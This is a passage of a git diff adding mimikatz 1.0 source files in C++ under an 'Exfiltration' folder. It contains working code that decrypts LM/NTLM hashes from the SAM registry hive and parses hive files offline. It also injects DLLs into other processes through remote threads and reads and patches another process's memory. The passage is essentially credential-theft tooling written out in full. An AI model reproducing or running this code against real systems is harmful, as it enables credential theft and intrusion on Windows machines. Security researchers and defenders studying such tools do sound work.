isExportable); + static bool getPrivateKey(NCRYPT_KEY_HANDLE maCle, PBYTE * monExport, DWORD * tailleExport, LPCWSTR pszBlobType = LEGACY_RSAPRIVATE_BLOB); + static bool NCryptFreeObject(NCRYPT_HANDLE hObject); + + static bool isNcrypt; + static bool justInitCNG(LPCWSTR pszProviderName = NULL); +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_hash.cpp b/Exfiltration/mimikatz-1.0/modules/mod_hash.cpp new file mode 100644 index 0000000..fe32c49 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_hash.cpp @@ -0,0 +1,150 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_hash.h" + +PSYSTEM_FUNCTION_006 mod_hash::SystemFunction006 = reinterpret_cast<PSYSTEM_FUNCTION_006>(GetProcAddress(GetModuleHandle(L"advapi32"), "SystemFunction006")); +PSYSTEM_FUNCTION_007 mod_hash::SystemFunction007 = reinterpret_cast<PSYSTEM_FUNCTION_007>(GetProcAddress(GetModuleHandle(L"advapi32"), "SystemFunction007")); +PRTL_UPCASE_UNICODE_STRING_TO_OEM_STRING mod_hash::RtlUpcaseUnicodeStringToOemString = reinterpret_cast<PRTL_UPCASE_UNICODE_STRING_TO_OEM_STRING>(GetProcAddress(GetModuleHandle(L"ntdll"), "RtlUpcaseUnicodeStringToOemString")); +PRTL_INIT_UNICODESTRING mod_hash::RtlInitUnicodeString = reinterpret_cast<PRTL_INIT_UNICODESTRING>(GetProcAddress(GetModuleHandle(L"ntdll"), "RtlInitUnicodeString")); +PRTL_FREE_OEM_STRING mod_hash::RtlFreeOemString = reinterpret_cast<PRTL_FREE_OEM_STRING>(GetProcAddress(GetModuleHandle(L"ntdll"), "RtlFreeOemString")); + +bool mod_hash::lm(wstring * chaine, wstring * hash) +{ + bool status = false; + UNICODE_STRING maChaine; + OEM_STRING maDestination; + BYTE monTab[16]; + + RtlInitUnicodeString(&maChaine, chaine->c_str()); + if(NT_SUCCESS(RtlUpcaseUnicodeStringToOemString(&maDestination, &maChaine, TRUE))) + { + if(status = NT_SUCCESS(SystemFunction006(maDestination.Buffer, monTab))) + hash->assign(mod_text::stringOfHex(monTab, sizeof(monTab))); + + RtlFreeOemString(&maDestination); + } + return status; +} + +bool mod_hash::ntlm(wstring * chaine, wstring * hash) +{ + bool status = false; + UNICODE_STRING maChaine; + BYTE monTab[16]; + + RtlInitUnicodeString(&maChaine, chaine->c_str()); + if(status = NT_SUCCESS(SystemFunction007(&maChaine, monTab))) + hash->assign(mod_text::stringOfHex(monTab, sizeof(monTab))); + return status; +} + +void mod_hash::getBootKeyFromKey(BYTE bootkey[0x10], BYTE key[0x10]) +{ + BYTE permut[] = {0x0b, 0x06, 0x07, 0x01, 0x08, 0x0a, 0x0e, 0x00, 0x03, 0x05, 0x02, 0x0f, 0x0d, 0x09, 0x0c, 0x04}; + for(unsigned int i = 0; i < 0x10; i++) + bootkey[i] = key[permut[i]]; +} + +bool mod_hash::getHbootKeyFromBootKeyAndF(BYTE hBootKey[0x10], BYTE bootKey[0x10], BYTE * AccountsF) +{ + bool reussite = false; + unsigned char qwe[] = "!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%"; + unsigned char num[] = "0123456789012345678901234567890123456789"; + + HCRYPTPROV hCryptProv = NULL; + HCRYPTHASH hHash = NULL; + if(CryptAcquireContext(&hCryptProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) + { + BYTE md5hash[0x10] = {0}; + DWORD dwHashDataLen = sizeof(md5hash); + CryptCreateHash(hCryptProv, CALG_MD5, 0, 0, &hHash); + CryptHashData(hHash, AccountsF + 0x70, 0x10, 0); + CryptHashData(hHash, qwe, sizeof(qwe), 0); + CryptHashData(hHash, bootKey, 0x10, 0); + CryptHashData(hHash, num, sizeof(num), 0); + CryptGetHashParam(hHash, HP_HASHVAL, md5hash, &dwHashDataLen, 0); + CryptDestroyHash(hHash); + CryptReleaseContext(hCryptProv, 0); + reussite = mod_crypto::genericDecrypt(AccountsF + 0x80, 0x10, md5hash, 0x10, CALG_RC4, hBootKey, 0x10); + } + return reussite; +} + +bool mod_hash::decryptHash(wstring * hash, BYTE * hBootKey, USER_V * userV, SAM_ENTRY * encHash, DWORD rid, bool isNtlm) +{ + bool reussite = false; + unsigned char ntpassword[] = "NTPASSWORD"; + unsigned char lmpassword[] = "LMPASSWORD"; + + BYTE obfkey[0x10]; + BYTE mes2CleDES[0x10]; + + if(encHash->lenght == 0x10 + 4) + { + HCRYPTPROV hCryptProv = NULL; + HCRYPTHASH hHash = NULL; + if(CryptAcquireContext(&hCryptProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) + { + BYTE md5hash[0x10] = {0}; + DWORD dwHashDataLen = 0x10; + CryptCreateHash(hCryptProv, CALG_MD5, 0, 0, &hHash); + CryptHashData(hHash, hBootKey, 0x10, 0); + CryptHashData(hHash, (BYTE *) &rid, sizeof(rid), 0); + CryptHashData(hHash, isNtlm ? ntpassword : lmpassword, isNtlm ? sizeof(ntpassword) : sizeof(lmpassword), 0); + CryptGetHashParam(hHash, HP_HASHVAL, md5hash, &dwHashDataLen, 0); + CryptDestroyHash(hHash); + + CryptReleaseContext(hCryptProv, 0); + + if(mod_crypto::genericDecrypt(&(userV->datas) + encHash->offset + 4, 0x10, md5hash, 0x10, CALG_RC4, obfkey, 0x10)) + { + sid_to_key1(rid, mes2CleDES); + sid_to_key2(rid, mes2CleDES + 8); + + reussite = mod_crypto::genericDecrypt(obfkey + 0, sizeof(obfkey) / 2, mes2CleDES + 0, sizeof(mes2CleDES) / 2, CALG_DES) && + mod_crypto::genericDecrypt(obfkey + 8, sizeof(obfkey) / 2, mes2CleDES + 8, sizeof(mes2CleDES) / 2, CALG_DES); + } + } + } + hash->assign(reussite ? mod_text::stringOfHex(obfkey, sizeof(obfkey)) : L""); + + return reussite; +} + +void mod_hash::str_to_key(BYTE *str, BYTE *key) +{ + key[0] = str[0] >> 1; + key[1] = ((str[0] & 0x01) << 6) | (str[1] >> 2); + key[2] = ((str[1] & 0x03) << 5) | (str[2] >> 3); + key[3] = ((str[2] & 0x07) << 4) | (str[3] >> 4); + key[4] = ((str[3] & 0x0f) << 3) | (str[4] >> 5); + key[5] = ((str[4] & 0x1f) << 2) | (str[5] >> 6); + key[6] = ((str[5] & 0x3f) << 1) | (str[6] >> 7); + key[7] = str[6] & 0x7f; + for (DWORD i = 0; i < 8; i++) + key[i] = (key[i] << 1); +} + +void mod_hash::sid_to_key1(DWORD sid, BYTE deskey[8]) +{ + unsigned char s[7]; + s[0] = s[4] = (unsigned char)((sid) & 0xff); + s[1] = s[5] = (unsigned char)((sid >> 8) & 0xff); + s[2] = s[6] = (unsigned char)((sid >>16) & 0xff); + s[3] = (unsigned char)((sid >>24) & 0xff); + str_to_key(s, deskey); +} + +void mod_hash::sid_to_key2(DWORD sid, BYTE deskey[8]) +{ + unsigned char s[7]; + + s[0] = s[4] = (unsigned char)((sid >>24) & 0xff); + s[1] = s[5] = (unsigned char)((sid) & 0xff); + s[2] = s[6] = (unsigned char)((sid >> 8) & 0xff); + s[3] = (unsigned char)((sid >>16) & 0xff); + str_to_key(s, deskey); +} diff --git a/Exfiltration/mimikatz-1.0/modules/mod_hash.h b/Exfiltration/mimikatz-1.0/modules/mod_hash.h new file mode 100644 index 0000000..19d7c44 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_hash.h @@ -0,0 +1,81 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_text.h" +#include "mod_crypto.h" + +class mod_hash +{ +private: + static PSYSTEM_FUNCTION_006 SystemFunction006; + static PSYSTEM_FUNCTION_007 SystemFunction007; + static PRTL_UPCASE_UNICODE_STRING_TO_OEM_STRING RtlUpcaseUnicodeStringToOemString; + static PRTL_INIT_UNICODESTRING RtlInitUnicodeString; + static PRTL_FREE_OEM_STRING RtlFreeOemString; + +public: + typedef enum _KIWI_HASH_TYPE + { + LM, + NTLM + } KIWI_HASH_TYPE; + + typedef struct _SAM_ENTRY { + DWORD offset; + DWORD lenght; + DWORD unk; +} SAM_ENTRY, *PSAM_SENTRY; + + typedef struct _OLD_LARGE_INTEGER { + unsigned long LowPart; + long HighPart; + } OLD_LARGE_INTEGER, *POLD_LARGE_INTEGER; + + typedef struct _USER_F { // http://www.beginningtoseethelight.org/ntsecurity/index.php#D3BC3F5643A17823 + DWORD unk0_header; + DWORD align; + OLD_LARGE_INTEGER LastLogon; + OLD_LARGE_INTEGER LastLogoff; + OLD_LARGE_INTEGER PasswordLastSet; + OLD_LARGE_INTEGER AccountExpires; + OLD_LARGE_INTEGER PasswordMustChange; + unsigned long UserId; + unsigned long unk1; + unsigned long UserAccountControl; + } USER_F, *PUSER_F; + + typedef struct _USER_V { + SAM_ENTRY unk0; + SAM_ENTRY Username; + SAM_ENTRY Fullname; + SAM_ENTRY Comment; + SAM_ENTRY UserComment; + SAM_ENTRY unk1; + SAM_ENTRY Homedir; + SAM_ENTRY Homedirconnect; + SAM_ENTRY Scriptpath; + SAM_ENTRY Profilepath; + SAM_ENTRY Workstations; + SAM_ENTRY HoursAllowed; + SAM_ENTRY unk2; + SAM_ENTRY LM; + SAM_ENTRY NTLM; + SAM_ENTRY unk3; + SAM_ENTRY unk4; + BYTE datas; + } USER_V, *PUSER_V; + + static bool lm(wstring * chaine, wstring * hash); + static bool ntlm(wstring * chaine, wstring * hash); + + static void getBootKeyFromKey(BYTE bootkey[0x10], BYTE key[0x10]); + static bool getHbootKeyFromBootKeyAndF(BYTE hBootKey[0x10], BYTE bootKey[0x10], BYTE * AccountsF); + static bool decryptHash(wstring * hash, BYTE * hBootKey, USER_V * userV, SAM_ENTRY * encHash, DWORD rid, bool isNtlm); + static void str_to_key(BYTE *str, BYTE *key); + static void sid_to_key1(DWORD sid, BYTE deskey[8]); + static void sid_to_key2(DWORD sid, BYTE deskey[8]); +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_hive.cpp b/Exfiltration/mimikatz-1.0/modules/mod_hive.cpp new file mode 100644 index 0000000..a0e79cd --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_hive.cpp @@ -0,0 +1,242 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_hive.h" + +mod_hive::nk_hdr* mod_hive::read_nk(nk_hdr *nk, hive *h, int offset ) +{ + memcpy(nk, h->base + offset + 4, sizeof(nk_hdr)); + nk->key_name = (h->base + offset + 4 + 76); + return nk; +} + +mod_hive::lf_hdr* mod_hive::read_lf(lf_hdr *lf, hive *h, int offset ) +{ + memcpy(lf, h->base+offset+4, sizeof(lf_hdr)); + lf->hr = (h->base+offset+4+4); + return lf; +} + +mod_hive::vk_hdr* mod_hive::read_vk(vk_hdr *vk, hive *h, int offset ) +{ + memcpy(vk, h->base+offset+4, sizeof(vk_hdr)); + vk->value_name = (h->base+offset+4+20); + return vk; +} + +int* mod_hive::read_valuevector(int *value, hive *h, int offset, int size ) +{ + memcpy(value, h->base+offset+4, size*sizeof(int)); + return value; +} + +mod_hive::hashrecord* mod_hive::read_hr(hashrecord *hr, unsigned char *pos, int index ) +{ + pos+=(8*index); + memcpy(hr, pos, sizeof(hashrecord)); + return hr; +} + + +unsigned char* mod_hive::read_data(hive *h, int offset ) +{ + return ((unsigned char*) (h->base + offset + 4)); +} + +bool mod_hive::InitHive(hive *h) +{ + h->base = NULL; + return true; +} + +bool mod_hive::RegOpenHive(const wchar_t *filename, hive *h) +{ + bool reussite = false; + FILE *hiveh; + unsigned long hsize; + + if(_wfopen_s(&hiveh, filename, L"rb" ) == 0) + { + if(fseek(hiveh, 0, SEEK_END) == 0) + { + hsize = ftell(hiveh); + h->base = new unsigned char[hsize]; + fseek(hiveh, 0, SEEK_SET); + + if(fread(h->base, hsize, 1, hiveh) == 1) + { + reussite = *((int *)h->base) == 0x66676572; + } + } + fclose(hiveh); + } + return reussite; +} + +bool mod_hive::RegCloseHive(hive *h ) +{ + if(h->base != NULL) + { + delete[] h->base; + } + return true; +} + + +long mod_hive::parself(hive *h, char *t, unsigned long off ) +{ + nk_hdr *n; + lf_hdr *l; + hashrecord *hr; + + int i; + + hr = (hashrecord*) malloc(sizeof(hashrecord)); + n = (nk_hdr*) malloc(sizeof(nk_hdr)); + l = (lf_hdr*) malloc(sizeof(lf_hdr)); + l = read_lf(l, h, off ); + + for(i = 0; i < l->key_num; i++ ) + { + hr = read_hr(hr, l->hr, i); + n = read_nk(n, h, hr->nk_offset + 0x1000 ); + if(!memcmp( t, n->key_name, n->name_len ) && (strlen(t) == n->name_len)) + { + free(n); + free(l); + return hr->nk_offset; + } + } + free(n); + free(l); + return -1; +} + +bool mod_hive::RegGetRootKey(hive *h, string *root_key) +{ + bool reussite = false; + nk_hdr * n = new nk_hdr(); + read_nk(n, h, 0x1020); + if (n->id == NK_ID && n->type == NK_ROOT) + { + root_key->assign((const char *) n->key_name, n->name_len); + reussite = true; + } + delete n; + return reussite; +} + +bool mod_hive::RegOpenKey(hive *h, string * path, nk_hdr **nr) +{ + bool reussite = false; + + nk_hdr *n = new nk_hdr(); + char *t, *tpath; + unsigned long noff = 0; + + read_nk(n, h, 0x1020); + + if(n->id == NK_ID && n->type == NK_ROOT) + { + tpath = strdup(path->c_str()); + t = strtok(tpath, "\\"); + + if(!memcmp(t, n->key_name, n->name_len)) + { + t = strtok(NULL, "\\"); + while(t != NULL) + { + noff = parself(h, t, n->lf_off + 0x1000); + if(noff != -1) + { + read_nk(n, h, noff + 0x1000); + t = strtok( NULL, "\\" ); + } + else + { + break; + } + } + + if(t == NULL && noff != 1) + { + memcpy(*nr, n, sizeof(nk_hdr)); + reussite = true; + } + } + free(tpath); + } + + delete n; + return reussite; +} + +bool mod_hive::RegQueryValue(hive *h, string *name, nk_hdr *nr, unsigned char **buff, int *len ) +{ + bool reussite = false; + + vk_hdr *v = new vk_hdr(); + int * l = new int[nr->value_cnt]; + + read_valuevector(l, h, nr->value_off + 0x1000, nr->value_cnt); + + for(unsigned int i = 0; i < nr->value_cnt; i++) + { + read_vk(v, h, l[i] + 0x1000); + if((!memcmp(name->c_str(), v->value_name, name->size()) && v->name_len == name->size()) || (name == NULL && (v->flag & 1) == 0)) + { + *len = v->data_len & 0x0000FFFF; + *buff = new unsigned char[*len]; + if (*len < 5) + { + memcpy(*buff, &(v->data_off), *len); + } + else + { + memcpy(*buff, read_data(h, v->data_off + 0x1000), *len); + } + reussite = true; + break; + } + } + delete[] l; + delete v; + return reussite; +} + +bool mod_hive::RegOpenKeyQueryValue(hive *h, string *path, string *name, unsigned char **buff, int *len) +{ + bool reussite = false; + mod_hive::nk_hdr * nodeKey = new mod_hive::nk_hdr(); + if(mod_hive::RegOpenKey(h, path, &nodeKey)) + { + reussite = mod_hive::RegQueryValue(h, name, nodeKey, buff, len); + } + delete nodeKey; + return reussite; +} + + + +bool mod_hive::RegEnumKey(hive *h, nk_hdr *nr, vector<string> * names) +{ + int index = 0; + + lf_hdr *lf = new lf_hdr(); + nk_hdr *nk = new nk_hdr(); + hashrecord *hr = new hashrecord(); + + while(index < nr->subkey_num) + { + lf = read_lf(lf, h, nr->lf_off + 0x1000 ); + hr = read_hr(hr, lf->hr, index); + nk = read_nk(nk, h, hr->nk_offset + 0x1000 ); + names->push_back(string(reinterpret_cast<char *>(nk->key_name), nk->name_len)); + index++; + } + + delete lf, nk, hr; + return !names->empty(); +} diff --git a/Exfiltration/mimikatz-1.0/modules/mod_hive.h b/Exfiltration/mimikatz-1.0/modules/mod_hive.h new file mode 100644 index 0000000..527a154 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_hive.h @@ -0,0 +1,88 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +using namespace std; + +#define NK_ID 0x6B6E +#define NK_ROOT 0x2c +#define LF_ID 0x666C + +class mod_hive +{ +public: + typedef struct _hive + { + unsigned char *base; + } hive; + + typedef struct _nk_hdr + { + short int id; + short int type; + int t1, t2; + int unk1; + int parent_off; + int subkey_num; + int unk2; + int lf_off; + int unk3; + /* unsigned */ + unsigned int value_cnt; + int value_off; + int sk_off; + int classname_off; + int unk4[4]; + int unk5; + short int name_len; + short int classname_len; + unsigned char *key_name; + } nk_hdr; + + typedef struct _hashrecord + { + int nk_offset; + char keyname[4]; + } hashrecord; + + typedef struct _lf_hdr + { + short int id; + short int key_num; + unsigned char *hr; + } lf_hdr; + + typedef struct _vk_hdr + { + short int id; + short int name_len; + int data_len; + int data_off; + int data_type; + short int flag; + short int unk1; + unsigned char *value_name; + } vk_hdr; + + static bool InitHive(hive *h); + static bool RegOpenHive(const wchar_t * filename, hive *h); + static bool RegCloseHive(hive *h); + static bool RegGetRootKey(hive *h, string *root_key); + static bool RegOpenKey(hive *h, string *path, nk_hdr **nr); + static bool RegQueryValue(hive *h, /*char *name*/ string *name, nk_hdr *nr, unsigned char **buff, int *len); + static bool RegOpenKeyQueryValue(hive *h, string *path, string *name, unsigned char **buff, int *len); + static bool RegEnumKey(hive *h, nk_hdr *nr, vector<string> * names); + + static long parself(hive *h, char *t, unsigned long off); + static unsigned char* read_data(hive *h, int offset); +private: + static nk_hdr* read_nk(nk_hdr *nk, hive *h, int offset); + static lf_hdr* read_lf(lf_hdr *lf, hive *h, int offset); + static vk_hdr* read_vk(vk_hdr *vk, hive *h, int offset); + static hashrecord* read_hr(hashrecord *hr, unsigned char *pos, int index); + static int* read_valuevector(int *value, hive *h, int offset, int size); + +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_inject.cpp b/Exfiltration/mimikatz-1.0/modules/mod_inject.cpp new file mode 100644 index 0000000..2547a2d --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_inject.cpp @@ -0,0 +1,72 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_inject.h" + +bool mod_inject::injectLibraryInHandle(const HANDLE & handleProcess, wstring * fullLibraryPath) +{ + bool reussite = false; + + wstring maLibComplete = L""; + if(mod_system::getAbsolutePathOf(*fullLibraryPath, &maLibComplete)) + { + bool fileExist = false; + if(mod_system::isFileExist(maLibComplete, &fileExist) && fileExist) + { + SIZE_T szFullLibraryPath = static_cast<SIZE_T>((maLibComplete.size() + 1) * sizeof(wchar_t)); + + if(LPVOID remoteVm = VirtualAllocEx(handleProcess, NULL, szFullLibraryPath, MEM_COMMIT, PAGE_EXECUTE_READWRITE)) + { + if(mod_memory::writeMemory(remoteVm, maLibComplete.c_str(), szFullLibraryPath, handleProcess)) + { + PTHREAD_START_ROUTINE pThreadStart = reinterpret_cast<PTHREAD_START_ROUTINE>(GetProcAddress(GetModuleHandle(L"kernel32"), "LoadLibraryW")); + HANDLE hRemoteThread = INVALID_HANDLE_VALUE; + + if(mod_system::GLOB_Version.dwMajorVersion > 5) + { + PRTL_CREATE_USER_THREAD RtlCreateUserThread = reinterpret_cast<PRTL_CREATE_USER_THREAD>(GetProcAddress(GetModuleHandle(L"ntdll"), "RtlCreateUserThread")); + SetLastError(RtlCreateUserThread(handleProcess, NULL, 0, 0, 0, 0, pThreadStart, remoteVm, &hRemoteThread, NULL)); + } + else + { + hRemoteThread = CreateRemoteThread(handleProcess, NULL, 0, pThreadStart, remoteVm, 0, NULL); + } + + if(hRemoteThread && hRemoteThread != INVALID_HANDLE_VALUE) + { + WaitForSingleObject(hRemoteThread, INFINITE); + reussite = true; + CloseHandle(hRemoteThread); + } + } + VirtualFreeEx(handleProcess, remoteVm, 0, MEM_RELEASE); + } + } + } + return reussite; +} + +bool mod_inject::injectLibraryInPid(const DWORD & pid, wstring * fullLibraryPath) +{ + bool reussite = false; + if(HANDLE processHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, pid)) + { + reussite = injectLibraryInHandle(processHandle, fullLibraryPath); + CloseHandle(processHandle); + } + return reussite; +} + +bool mod_inject::injectLibraryInSingleProcess(wstring & processName, wstring * fullLibraryPath) +{ + bool reussite = false; + + mod_process::KIWI_PROCESSENTRY32 monProcess; + if(mod_process::getUniqueForName(&monProcess, &processName)) + { + reussite = injectLibraryInPid(monProcess.th32ProcessID, fullLibraryPath); + } + return reussite; +}
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/modules/mod_inject.h b/Exfiltration/mimikatz-1.0/modules/mod_inject.h new file mode 100644 index 0000000..a0f77d8 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_inject.h @@ -0,0 +1,19 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_memory.h" +#include "mod_system.h" +#include "mod_process.h" + +class mod_inject +{ +public: + static bool injectLibraryInHandle(const HANDLE & handleProcess, wstring * fullLibraryPath); + static bool injectLibraryInPid(const DWORD & pid, wstring * fullLibraryPath); + static bool injectLibraryInSingleProcess(wstring & processName, wstring * fullLibraryPath); +}; + diff --git a/Exfiltration/mimikatz-1.0/modules/mod_memory.cpp b/Exfiltration/mimikatz-1.0/modules/mod_memory.cpp new file mode 100644 index 0000000..1e2ba8e --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_memory.cpp @@ -0,0 +1,140 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_memory.h" + +bool mod_memory::readMemory(const void * adresseBase, void * adresseDestination, size_t longueur, HANDLE handleProcess) +{ + if(handleProcess == INVALID_HANDLE_VALUE) + { + return (memcpy_s(adresseDestination, longueur, adresseBase, longueur) == 0); + } + else + { + SIZE_T dwBytesRead = 0; + return ((ReadProcessMemory(handleProcess, adresseBase, adresseDestination, longueur, &dwBytesRead) != 0) && (dwBytesRead == longueur)); + } +} + +bool mod_memory::writeMemory(void * adresseBase, const void * adresseSource, size_t longueur, HANDLE handleProcess) +{ + bool reussite = false; + DWORD OldProtect, OldProtect2; + + if(handleProcess == INVALID_HANDLE_VALUE) + { + if(VirtualProtect(adresseBase, longueur, PAGE_EXECUTE_READWRITE, &OldProtect) != 0) + { + reussite = (memcpy_s(adresseBase, longueur, adresseSource, longueur) == 0); + VirtualProtect(adresseBase, longueur, OldProtect, &OldProtect2); + } + } + else + { + if(VirtualProtectEx(handleProcess, adresseBase, longueur, PAGE_EXECUTE_READWRITE, &OldProtect) != 0) + { + SIZE_T dwBytesWrite = 0; + reussite = ((WriteProcessMemory(handleProcess, adresseBase, adresseSource, longueur, &dwBytesWrite) != 0) && (dwBytesWrite == longueur)); + VirtualProtectEx(handleProcess, adresseBase, longueur, OldProtect, &OldProtect2); + } + } + + return reussite; +} + + +bool mod_memory::searchMemory(const PBYTE adresseBase, const PBYTE adresseMaxMin, const PBYTE pattern, PBYTE * addressePattern, size_t longueur, bool enAvant, HANDLE handleProcess) +{ + BYTE * monTab = new BYTE[longueur]; + *addressePattern = adresseBase; + bool succesLecture = true; + bool succesPattern = false; + + while((!adresseMaxMin || (enAvant ? (*addressePattern + longueur) <= adresseMaxMin : (*addressePattern - longueur) >= adresseMaxMin)) && succesLecture && !succesPattern) + { + if(succesLecture = readMemory(*addressePattern, monTab, longueur, handleProcess)) + { + if(!(succesPattern = (memcmp(monTab, pattern, longueur) == 0))) + { + *addressePattern += (enAvant ? 1 : -1); + } + } + } + delete[] monTab; + + if(!succesPattern) + *addressePattern = NULL; + + return succesPattern; +} + +bool mod_memory::searchMemory(const PBYTE adresseBase, const long offsetMaxMin, const PBYTE pattern, long * offsetPattern, size_t longueur, bool enAvant, HANDLE handleProcess) +{ + PBYTE addressePattern = NULL; + bool resultat = mod_memory::searchMemory(adresseBase, (offsetMaxMin != 0 ? (adresseBase + offsetMaxMin) : NULL), pattern, &addressePattern, longueur, enAvant, handleProcess); + *offsetPattern = addressePattern - adresseBase; + return resultat; +} + +bool mod_memory::genericPatternSearch(PBYTE * thePtr, wchar_t * moduleName, BYTE pattern[], ULONG taillePattern, LONG offSetToPtr, char * startFunc, bool enAvant, bool noPtr) +{ + bool resultat = false; + if(thePtr && pattern && taillePattern) + { + if(HMODULE monModule = GetModuleHandle(moduleName)) + { + MODULEINFO mesInfos; + if(GetModuleInformation(GetCurrentProcess(), monModule, &mesInfos, sizeof(MODULEINFO))) + { + PBYTE addrMonModule = reinterpret_cast<PBYTE>(mesInfos.lpBaseOfDll); + + if(PBYTE addrDebut = startFunc ? reinterpret_cast<PBYTE>(GetProcAddress(monModule, startFunc)) : addrMonModule) + { + if(resultat = mod_memory::searchMemory(addrDebut, enAvant ? (addrMonModule + mesInfos.SizeOfImage) : reinterpret_cast<PBYTE>(mesInfos.lpBaseOfDll), pattern, thePtr, taillePattern, enAvant)) + { + *thePtr += offSetToPtr; + if(!noPtr) + { +#ifdef _M_X64 + *thePtr += sizeof(long) + *reinterpret_cast<long *>(*thePtr); +#elif defined _M_IX86 + *thePtr = *reinterpret_cast<PBYTE *>(*thePtr); +#endif + } + } + else *thePtr = NULL; + } + } + } + } + return resultat; +} + +/*bool mod_memory::WhereIsMyFuckingRelativePattern(const PBYTE adresseBase, const PBYTE addrPattern, const PBYTE maskPattern, PBYTE *addressePattern, size_t longueurMask, const long offsetAddrInMask, const long offset) // et merde je la documente pas celle l ! +{ + PBYTE autreAddr = adresseBase; + PBYTE monMask = new BYTE[longueurMask]; + PBYTE monTab = new BYTE[longueurMask]; + + RtlCopyMemory(monMask, maskPattern, longueurMask); + bool succesLecture = false, succesPattern = false; + do + { + PBYTE funkyDiff = reinterpret_cast<PBYTE>(addrPattern - (autreAddr + offsetAddrInMask + 4)); + RtlCopyMemory(monMask+offsetAddrInMask, reinterpret_cast<PBYTE>(&funkyDiff), 4); + succesLecture = readMemory(autreAddr, monTab, longueurMask); + succesPattern = memcmp(monTab, monMask, longueurMask) == 0; + autreAddr+=offset; + } while(!succesPattern && succesLecture); + + delete[] monMask; + + if(succesPattern && succesLecture) + { + *addressePattern = autreAddr-offset; + return true; + } + else return false; +}*/ diff --git a/Exfiltration/mimikatz-1.0/modules/mod_memory.h b/Exfiltration/mimikatz-1.0/modules/mod_memory.h new file mode 100644 index 0000000..31eb27f --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_memory.h @@ -0,0 +1,22 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include <psapi.h> + +class mod_memory +{ +public: + static bool readMemory(const void * adresseBase, void * adresseDestination, size_t longueur = 1, HANDLE handleProcess = INVALID_HANDLE_VALUE); + static bool writeMemory(void * adresseBase, const void * adresseSource, size_t longueur = 1, HANDLE handleProcess = INVALID_HANDLE_VALUE); + + static bool searchMemory(const PBYTE adresseBase, const PBYTE adresseMaxMin, const PBYTE pattern, PBYTE * addressePattern, size_t longueur = 1, bool enAvant = true, HANDLE handleProcess = INVALID_HANDLE_VALUE); + static bool searchMemory(const PBYTE adresseBase, const long offsetMaxMin, const PBYTE pattern, long * offsetPattern, size_t longueur = 1, bool enAvant = true, HANDLE handleProcess = INVALID_HANDLE_VALUE); + + static bool genericPatternSearch(PBYTE * thePtr, wchar_t * moduleName, BYTE pattern[], ULONG taillePattern, LONG offSetToPtr, char * startFunc = NULL, bool enAvant = true, bool noPtr = false); + + /*static bool WhereIsMyFuckingRelativePattern(const PBYTE adresseBase, const PBYTE addrPattern, const PBYTE maskPattern, PBYTE *addressePattern, size_t longueurMask, const long offsetAddrInMask, const long offset = 1); // et merde je la documente pas celle l !*/ +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_minidump.cpp b/Exfiltration/mimikatz-1.0/modules/mod_minidump.cpp new file mode 100644 index 0000000..2825451 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_minidump.cpp @@ -0,0 +1,163 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_minidump.h" + +mod_minidump::mod_minidump() : monFichier(NULL), monFileMapping(NULL), mesDonnees(NULL) +{ +} + +mod_minidump::~mod_minidump(void) +{ + if(mesDonnees) + UnmapViewOfFile(mesDonnees); + + if(monFileMapping) + CloseHandle(monFileMapping); + + if(monFichier) + CloseHandle(monFichier); +} + +LPVOID mod_minidump::RVAtoPTR(RVA monRVA) +{ + return reinterpret_cast<PBYTE>(mesDonnees) + monRVA; +} + +bool mod_minidump::open(wchar_t * filename) +{ + bool resultat = false; + + if(monFichier = CreateFile(filename, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL)) + if(monFileMapping = CreateFileMapping(monFichier, NULL, PAGE_READONLY, 0, 0, NULL)) + if(mesDonnees 